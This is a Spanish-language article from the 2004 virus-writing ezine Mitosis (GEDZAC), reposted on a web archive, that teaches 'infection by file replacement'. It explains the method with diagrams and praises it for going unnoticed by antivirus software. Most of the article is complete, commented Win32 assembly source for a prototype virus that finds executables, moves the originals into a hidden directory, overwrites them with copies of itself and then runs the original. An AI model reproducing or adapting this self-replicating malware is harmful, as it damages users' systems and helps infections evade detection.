Copy Link
Add to Bookmark
Report

Gedzac Mitosis Ezine Issue 02 009

eZine's profile picture
Published in 
Mitosis
 · 11 Oct 2020

  

(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema : Infeccion Mediante Suplantacion de Archivos
Autor : 3sk0rbut0
Válido para : ASM

INDICE:

1 .................................. INTRODUCCION.
2 .................................. TEORIA.
3 .................................. VENTAJAS Y DESVENTAJAS.
4 .................................. CODIFICANDO (Rutina principal).
5 .................................. RUTINAS.
5.1 .............................. RUTINA CrearDirectorio.
5.2 .............................. RUTINA ObtenerMisDatos.
5.3 .............................. RUTINA MoverHost.
5.4 .............................. RUTINA Suplantar.
5.5 .............................. RUTINA EjecutarHost.
5.6 .............................. RUTINA CopiarCadena.
6 .................................. DESPEDIDA.


1) INTRODUCCION
------------

Aquí expongo una forma de infección que es aplicable a cualquier lenguaje de pro-
gramación que permita la obtención de la línea de comandos como lo es el caso de
Visual Basic con su App.path y App.exename, este articulo esta orientado hacia el
lenguaje ensamblador para win32 con la herramienta Turbo Assembler 5.0

2) TEORIA
------

Para lograr una "Infección" nos basaremos en acciones tan sencillas que es posi-
ble realizaras a mano, como por ejemplo mover, renombrar y copiar archivos, y
otras no tan sencillas como las anteriores pero no por esto mas complejas.
Bueno, si un virus va a infectar archivos mediante suplantación entonces deberá
realizar lo siguiente:


FIG 1.
Directorio para almacenar los programas originales
_________________________________________________
|
|
___________ ___________ _______V_________
| | | | | |
| VIRUS | | CALC.EXE | | VACIO |
|Suplantador| | | | |
|___________| |___________| |_________________|

En esta figura tenemos al VIRUS, un programa víctima que en este caso es la cal-
culadora de windows y un directorio que creará el virus para almacenar los pro-
gramas originales que al comienzo está vacío.



FIG 2.
Directorio para almacenar los programas originales
_________________________________________________
|
|
___________ ___________ _______V_________
| | | | | |
| VIRUS | | CALC.EXE | | CALC.KKK |
|Suplantador| | | | |
|___________| |___________| |_________________|

En esta figura vemos como queda el asunto una vez ejecutado el virus:

Cuando el virus es ejecutado toma el archivo CALC.EXE y lo mueve al directorio
para almacenar los programas originales, una vez que ha movido el archivo le
cambia la extensión a KKK

Después de lo hecho en el paso anterior, el virus se copiará al directorio
donde residía la CALC.EXE original con el mismo nombre de esta.
Esta copia el virus la efectuara mediante la api CopyFile en conjunto con la
api GetCommandLine ya que para el programador es imposible adivinar en que
directorio se encontrara y que nombre tendrá el virus al momento de copiarse.



FIG 3.
Primero el virus infectara los programas que encuentre
______________________________________________________
|
|
| Directorio para almacenar los programas originales
| __________________________________________________
| |
| |
___________ V _______V_________
| |----> PROGA.EXE | |
| CALC.EXE |----> PROGB.EXE ---->| CALC.KKK |
| |----> PROGN.EXE | | |
|___________| | |_________________|
| |
|_________________________|
A
|
|
Una vez que infecta los programas, el virus procederá a ejecutar
el programa original



En esta figura vemos que cuando el usuario ejecuta la CALC.EXE (que en realidad
es el virus) esta toma el control e infecta los programas que logre encontrar y
una vez hecho esto procederá a ejecutar la verdadera CALC que es la que esta en
el directorio para almacenar los programas originales y cuya extensión es KKK, de
este modo todo el proceso de infección pasa inadvertido.
Si bien es conveniente cambiar la extensión del programa víctima al momento de
moverlo al directorio para almacenar los programas originales, no lo haré en el
código que expongo mas abajo, debido a que no es prioridad en este artículo, ya
que el código se trata solo de un prototipo codificado para llevar a la practica
el tipo de infección por suplantación.


3) VENTAJAS Y DESVENTAJAS
----------------------

En este tipo de infección como todo en la vida existen ventajas y desventajas de
las cuales las mas notorias son:

VENTAJAS:

- Una vez entendida la técnica es de fácil implementación en cualquier lenguaje
de programación siempre y cuando el lenguaje lo permita, ya que hay lenguajes
que no tienen funciones para obtener la línea de comandos completa como por
ejemplo QBASIC

- Un virus con este tipo de infección pasará desapercibido ante cualquier
maldito antivirus ya que esta técnica no necesariamente necesita hacer modi-
ficaciones sobre los archivos e implementa funciones que pueden estar en
cualquier programa.

- Un virus con este tipo de infección es de fácil eliminación del sistema, ya
que solo suplanta archivos lo que implica 0 dolor de cabezas al momento de
probar el virus en su fase de programación.

DESVENTAJAS:

- Como el virus suplanta, los archivos suplantados por lógica tomaran el icono
del programa virus, si bien esto tiene solución, es imposible o extremadamen-
te difícil aplicarla en lenguajes de alto nivel.

- El proceso de infección es lento en comparación con otros métodos de infec-
ción, ya que mover, copiar y renombrar un archivo toma su tiempo.


4) CODIFICANDO
-----------

Este programa funcionará mediante un ciclo principal controlado por FindFirstFile
y FindNextFile. Vamos con el código:


.386
.model flat
;------------------------------------ Funciones apis que utilizaremos
extrn CreateDirectoryA :proc ;Función para crear directorios
extrn GetCommandLineA :proc ;Función para obtener la línea de comandos
extrn FindFirstFileA :proc ;Función para iniciar búsqueda de archivos
extrn FindNextFileA :proc ;Función para continuar búsqueda de archivos
extrn lstrcat :proc ;Función para concatenar cadenas
extrn CopyFileA :proc ;Función para copiar archivos
extrn MoveFileA :proc ;Función para mover archivos
extrn WinExec :proc ;Función para ejecutar programas
extrn ExitProcess :proc ;Función para terminar programa
;------------------------------------
jumps
.data
; -------------------------- Estructura de datos para FindFirstFile/FindNextFile.
FILETIME struc ; Esta estructura se ira llenando con datos conforme
FT_dwLowDateTime dd ? ; vamos llamando a las apis FindFirstFile/FindNextFile
FT_dwHighDateTime dd ? ; Esta estructura la utilizaremos siempre que queramos
FILETIME ends ; utilizar FindFirstFile/FindNextFile.
Max_Path equ 260
WIN32_FIND_DATA:
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db Max_Path dup (?)
WFD_szAlternateFileName db 13 dup (?)
;-------------------------- Datos para FindFirstFile/FindNextFile
Extension db '*.exe',0 ; Extensión de los archivos que vamos a buscar
HandleBusqueda dd 0 ; Variable donde guardo el handle devuelto
; por FindFirstFile
;-------------------------- Otros datos
HostDir db 'c:\windows\escritorio\HOSTDIR',0 ; Constante (directorio a crear)
MiCmdLine db Max_Path dup (?) ; Variable donde guardaré la línea de comandos
; de este programa
MiNombre db Max_Path dup (?) ; Variable donde guardaré el nombre de este prog.
MiRuta db Max_Path dup (?) ; Variable donde guardaré la ruta de este prog.
Cadena db Max_Path dup (?) ; Variable que usaré para trabajar con CADENAS

;##################### AQUI EMPIEZA EL CODIGO DEL PROGRAMA #####################
.code
INICIO:
call CrearDirectorio ;Llamamos a la rutina para crear el directorio
;en el cual almacenaremos los programas originales

call ObtenerMisDatos ;Llamamos a la rutina para obtener la línea de
; comandos el nombre y la ruta de este programa.
;------------------------------------ BUSCAR PRIMER ARCHIVO
FindFirst:
push offset WIN32_FIND_DATA ; Apunto a la estructura de datos que
; recibirá los datos devueltos.
push offset Extension ; Apunto a la extensión de archivos que
; quiero buscar.
call FindFirstFileA ; Llamo a la función api.
; Si esta api devuelve FFFFFFFF entonces no
; encontró archivos por lo cual...
inc eax ; Si el valor devuelto es FFFFFFFF + 1 es = 0
; entonces hubo error
jz FIN ; Si eax = 0 no se encontraron archivos
dec eax ; De lo contrario eax es un handle y lo
; dejamos eax como estaba
mov HandleBusqueda,eax ; Guardo el handle para utilizarlo con
; FindNextFile
;------------------------------------
Proceso:
mov eax,dword ptr [offset WFD_nFileSizeLow] ; Esta es una simple
; comprobación para asegurarnos de no
cmp eax,00001000h ; estarnos suplantando a nosotros mismos
je BuscarSiguiente ; si el WFD_nFileSizeLow de el archivo
; encontrado es = a 00001000h entonces se
; trata de una copia nuestra ya que el
; WFD_nFileSizeLow de este programa es 1000h,
; por lo cual vamos a buscar el siguiente
; archivo.

call MoverHost ; Llamo a la rutina para mover el archivo
; encontrado al directorio donde guardo
; los programas originales.
call Suplantar ; Llamo a la rutina para suplantar el archivo
; encontrado.

;------------------------------------ BUSCAR SIGUIENTE ARCHIVO
BuscarSiguiente:
push offset WIN32_FIND_DATA ; Apunto a la estructura de datos que
; recibirá los datos devueltos.
push HandleBusqueda ; Apunto al handle devuelto por FindFirstFile
call FindNextFileA ; Llamo a la función api.
cmp eax,0 ; Si la función no encuentra mas
; archivos EAX = 0
jne Proceso ; Y si eax no es 0 entonces saltamos a
; proceso para suplantar el archivo
; De lo contrario este salto no se ejecutará
; y se ejecutara el código que sigue.
;------------------------------------
FIN:
call EjecutarHost ; Rutina para ejecutar el programa original
call ExitProcess ; Función para finalizar este programa


;##################### AQUI FINALIZA EL CODIGO DEL PROGRAMA #####################

5) RUTINAS
-------

Aquí están las rutinas que forman parte del ciclo principál.

5.1 RUTINA CrearDirectorio
----------------------

Con esta rutina creamos el directorio para almacenar los programas originales.

CrearDirectorio proc
push 0 ; NULL
push offset HostDir ; Apunto a la constante que tiene la ruta
; del directorio que crearé.
call CreateDirectoryA ; Llamo a la función api.
ret ; Retornar del call
CrearDirectorio endp




5.2 RUTINA ObtenerMisDatos
----------------------

Con esta rutina obtenemos la línea de comandos, el nombre, y la ruta de este
programa.

ObtenerMisDatos proc ; CON ESTE CÓDIGO VOY A OBTENER LA LINEA DE
; COMANDOS DE ESTE PROGRAMA.
call GetCommandLineA ; Llamo a la función para obtener la línea
; de comandos
cmp byte ptr [eax],'"' ; Por razones de comodidad al depurar, si el
; primer byte de la CmdLine es '"'
jne ok ; Entonces estamos depurando y salto a ok
inc eax ; De lo contrario elimino la primera comilla
xor ecx,ecx ; ECX = 0 , será un registro contador.
dec ecx ; lo dejo en -1
Comilla:
inc ecx ; lo dejo en 0 incrementándolo
cmp byte ptr [eax+ecx],'"' ; inicio la búsqueda de la maldita
; comilla comparando byte por byte
jne Comilla ; si aun no la pillo voy por el otro byte
mov byte ptr [eax+ecx],0 ; si la encontré entonces la mato
; cortando la cadena y ya tenemos
; la CmdLine sin las comillas.
ok:
mov edi,offset MiCmdLine ; Aquí copio una cadena de ECX bytes
; desde ESI hasta EDI
mov esi,eax ; edi = Variable donde copio la cadena
mov ecx,ecx ; esi = Cadena que estoy copiando (Línea
; de comandos)
rep movsb ; ecx = Longitud de la línea de comandos
; y con rep movsb copio la cadena

;------------------------------ ; CON ESTE CÓDIGO VOY A OBTENER EL NOMBRE
; DE ESTE PROGRAMA.
xor ecx,ecx ; ECX = 0 , limpio el contador
dec ecx ; lo dejo en -1
FinCadena:
inc ecx ; lo dejo en 0 incrementándolo
cmp byte ptr [eax+ecx],0 ; Inicio la búsqueda del fin de la cadena
jne FinCadena ; Todavía no?, entonces vamos por el
; siguiente byte
; Si llegamos al final entonces vamos con
; la siguiente parte.
Slash:
dec ecx ; decremento ecx
cmp byte ptr [eax+ecx],'\' ; compari byte por byte buscando el
; primer slash de atrás hacia adelante
jne Slash ; no es igual?, entonces voy por el
; siguiente byte
inc ecx ; Lo encontré, entonces incremento en uno
; el contador
add eax,ecx ; y en eax (CmdLine) + ecx bytes empieza
; el nombre de este programa
push ecx ; ECX = el tamaño de la cadena hasta el
; slash, lo guardo en la pila
mov edi,offset MiNombre ; Aquí copio una cadena de ECX bytes
; desde ESI hasta EDI
mov esi,eax ; edi = Variable donde copio la cadena
mov ecx,ecx ; esi = Cadena que estoy copiando (Nombre
; de este programa)
rep movsb ; ecx = longitud y con rep movsb copio la
; cadena

;------------------------------- ; CON ESTE CÓDIGO VOY A OBTENER LA RUTA
; DE ESTE PROGRAMA.
pop ecx ; Saco de la pila el tamaño de la CmdLine
; hasta el slash
mov edi,offset MiRuta ; Aquí copio una cadena de ECX bytes
; desde ESI hasta EDI
mov esi,offset MiCmdLine ; edi = Variable donde copio la cadena
mov ecx,ecx ; esi = Cadena que estoy copiando (Ruta
; de este programa)
rep movsb ; ecx = longitud de la cadena y con rep
; movsb copio la cadena
ret ; retornar del call
ObtenerMisDatos endp



5.3 RUTINA MoverHost
----------------

Con esta rutina movemos el/los programa víctima al directorio de los programas
originales.

MoverHost proc
; AQUI HAGO UNA COPIA DE LA CADENA
; HostDir EN EAX
mov esi, offset HostDir ; Muevo a ESI la cadena HostDir
call CopiarCadena ; y llamo a la función CopiarCadena que
; devuelve en EAX
; una copia de la cadena apuntada por ESI
; (Hago una copia de la cadena para que
; no se modifiquen
; las variables originales)

mov edx,offset WFD_szFileName ; EDX = nombre del programa encontrado
dec edx ; decremento el nombre en un byte para
; adjuntarle un slash al comienzo.
mov byte ptr [edx],'\' ; le adjunto el slash.


; AQUI JUNTO LAS CADENAS HostDir + WFD_szFileName
push edx ; EDX = Cadena a concatenar
push eax ; EAX = Cadena donde concateno que es = a la
; copia de la cadena HostDir
call lstrcat ; Llamo a la función para concatenar cadenas
; y en EAX me devuelve las cadenas HostDir+WFD_szFileName

; AQUI MUEVO EL PROGRAMA ENCONTRADO A LA
; CARPETA HostDir
push eax ; EAX = Destino donde voy a mover el
; programa (HostDir+WFD_szFileName)
push offset WFD_szFileName ; Nombre del programa que voy a mover
; (WFD_szFileName)
call MoveFileA ; Llamo a la función para mover archivos
ret ; Retorno del call
MoverHost endp


5.4 RUTINA Suplantar
----------------

Con esta rutina suplantamos el programa víctima.

Suplantar proc ; AQUI ME COPIO SUPLANTANDO AL PROGRAMA ORIGINAL
push 0 ; Sobreescribir si existe
push offset WFD_szFileName ; DESTINO (Nombre del programa original)
push offset MiCmdLine ; ORIGEN (Mi linea de comandos)
call CopyFileA ; llamamos a la api para copiar archivos
ret ; Retorno del call
Suplantar endp

5.5 RUTINA EjecutarHost
--------------------

Con esta rutina ejecutamos el programa original.

EjecutarHost proc
; AQUI HAGO UNA COPIA DE LA CADENA HostDir EN EAX
mov esi, offset HostDir ; Muevo a ESI la cadena HostDir.
call CopiarCadena ; y llamo a la función CopiarCadena que devuelve
; en EAX una copia de la cadena apuntada por ESI.

mov edx,offset MiNombre ; Muevo a EDX el nombre de este programa
dec edx ; Decremento el nombre en un byte para adjuntarle
; un slash al comienzo.
mov byte ptr [edx],'\' ; y le adjunto el slash

; AQUI JUNTO LAS CADENAS HostDir + MiNombre
push edx ; EDX = Cadena a concatenar
push eax ; EAX = Cadena donde concateno que es = a la
; copia de la cadena HostDir
call lstrcat ; Llamo a la función para concatenar cadenas y en
; EAX me devuelve las cadenas HostDir+MiNombre
; AQUI EJECUTO EL PROGRAMA ORIGINAL
push 1 ; 1 = Ventana normal
push eax ; EAX = HostDir+MiNombre que es la ruta y nombre
; del programa que voy a ejecutar
call WinExec ; Llamo a la función para ejecutar programas
ret ; Retorno del call

EjecutarHost endp



5.6 RUTINA CopiarCadena
-------------------

Con esta rutina copiamos cadenas.

CopiarCadena proc

; ESI = ENTRADA (Muevo a ESI la cadena que voy a
; copiar antes de llamar a esta función)
; EAX = CADENA SALIDA (Copia de la cadena
; apuntada por ESI)
push edx ; Por casualidad meto a la pila los registros que
; utiliza esta rutina
push esi ; a excepcion de ESI y EAX que son los registros
; de entrada y salida respectivamente.

xor edx,edx ; EDX = 0, utilizaré el byte DH de este registro
; para trabajar con bytes
xor ecx,ecx ; ECX = 0, lo utilizaré como contador
dec ecx ; ECX = -1
mov eax,offset Cadena ; EAX = Cadena donde haré la copia
Copiar:
inc ecx ; ECX = 0, ya que lo había decrementado
; anteriormente
mov dh,byte ptr [esi+ecx] ; Muevo a DH un byte de la cadena de
; origen apuntada por ESI
mov [eax+ecx],dh ; Y copio a EAX el byte que contiene DH
cmp byte ptr [esi+ecx],0 ; Llegué al final de la cadena apuntada
; por ESI?
jne Copiar ; Si no, voy a copiar el siguiente byte

pop esi ; Saco de la pila los registros que
; guardé al iniciar esta rutina
pop edx ;
ret ; Retorno del call

CopiarCadena endp

6) DESPEDIDA
---------

Espero que este artículo les haya sido de su interés, bueh, un saludo a todos los
escritores de virus del mundo.

(C) MITOSIS #2 E-Zine/GEDZAC 2004

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT